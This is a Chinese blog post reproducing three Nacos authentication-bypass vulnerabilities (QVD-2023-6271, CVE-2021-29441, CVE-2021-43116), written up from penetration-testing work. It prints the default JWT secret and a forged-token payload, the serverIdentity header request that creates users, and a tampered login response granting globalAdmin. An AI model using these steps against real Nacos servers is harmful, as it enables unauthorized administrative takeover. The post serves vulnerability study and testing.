我遇到的Nacos漏洞,复现合集

前言

Nacos 是阿里巴巴开源的一个微服务平台,集成了服务注册与发现、动态配置管理和服务管理功能。它旨在帮助开发者更便捷地构建、交付和管理微服务项目。Nacos 具有简单易用、高效、灵活的特点,支持动态刷新配置,无需重启服务器即可使配置变更生效。

简介

这些Nacos的漏洞是小编护网期间碰到最多的Nacos漏洞,其他的漏洞不怎么多就不写了,这篇文章漏洞复现是小编参考一些大佬文章写的,太久了,不记得是哪几篇文章了。由于本篇文章是真实环境测试,所以图片有些都打上了马赛克。如有雷同,请联系小编。

权限绕过登陆(QVD-2023-6271)

漏洞简介

Nacos用户使用默认JWT密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户.

影响版本

0.1.0<= Nacos<= 2.2.0

漏洞复现

1.进入容器找默认密钥,或者去网上找Nacos默认密钥

默认密钥:SecretKey012345678901234567890123456789012345678901234567890123456789

2.利用jwt.io构造jwt token

Nacos配置JWT(JSON Web Tokens)作为其认证机制,其中JWT的签名算法选择为HS256(HMAC使用SHA-256哈希算法)。在这个场景下,将secret.key的默认值设定为JWT的密钥(secretKey),用于生成签名(Signature)。JWT的负载(Payload)部分包含两个关键信息:subject(即用户名,标识用户身份)和exp(表示过期时间,用于控制token的有效期限)。

Payload

{

  "sub": "nacos",                         //用户名

  "exp":"1722393819"             //时间戳

}           

Jwt构造网站

JSON Web Tokens - jwt.io

时间戳生成网站

时间戳(Unix timestamp)转换工具 - 在线工具

我的时间现在是2024-7-30,生成一个明天的时间戳,就是把30改为31

然后bp抓一个登陆包发送到重放模块,添加Authorization: Bearer (jwt)后放行

在抓一个登陆包,添加Authorization: Bearer (jwt)后放行,成功登录

CVE-2021-29441 Nacos权限认证绕过漏洞

1,漏洞产因


当开启 Nacos 权限认证(nacos.core.auth.enabled=true)后,配置文件中存在默认值:

nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security

该硬编码导致攻击者可以构造携带该 key 和 value 的请求,从而绕过权限认证。

2.漏洞影响版本

Nacos <= 2.2.0

3.复现

抓取一个登陆包,然后修改包里内容和请求,添加用户

POST /v1/auth/users HTTP/1.1                    //修改请求
serverIdentity: security //添加身份认证密钥

尝试登录

成功

 CVE-2021-43116(身份认证绕过漏洞

1,漏洞产因

Alibaba nacos 2.0.3 版本的访问提示页面存在访问控制错误漏洞。攻击者可利用该漏洞通过输入用户名和密码、点击“登录”获取数据包,并通过更改返回的数据包进行登录。

2.漏洞影响版本

 Nacos v2.0.3 

3.漏洞复现

Burp抓取页面登录包

拦截页面响应包

点击放行后获得响应包

修改响应包

加入一串代码是一个JSON格式的数据,它通常用于表示一些配置信息或用户认证信息。下面是对这个JSON数据的解释:

  • 一个用户的访问令牌(accessToken),该令牌具有过期时间。
  • 令牌的有效期是18秒(尽管这个值可能较短,实际中会更长)。
  • 用户具有全局管理员权限(globalAdmin为true)。

HTTP/1.1 200

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

Content-Security-Policy: script-src 'self'

Content-Type: application/json

Date: Tue, 06 Feb 2024 12:00:53 GMT

Connection: close

Content-Length: 177

{

  "accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",

  "tokenTtl":18000,

  "globalAdmin":true,

}

修改完成后,放行,登陆成功

  • 9
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值